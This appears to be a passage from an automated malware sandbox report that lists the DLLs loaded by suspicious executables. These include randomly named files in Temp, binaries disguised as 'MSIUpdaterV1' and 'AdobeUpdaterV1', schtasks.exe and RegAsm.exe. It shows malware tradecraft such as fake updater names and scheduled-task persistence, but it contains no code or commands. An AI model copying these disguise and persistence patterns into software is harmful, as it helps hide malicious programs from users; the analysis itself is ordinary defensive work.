Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: wininet.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: devobj.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: webio.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: schannel.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: wininet.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: devobj.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: webio.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: schannel.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d11.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxgi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d10warp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
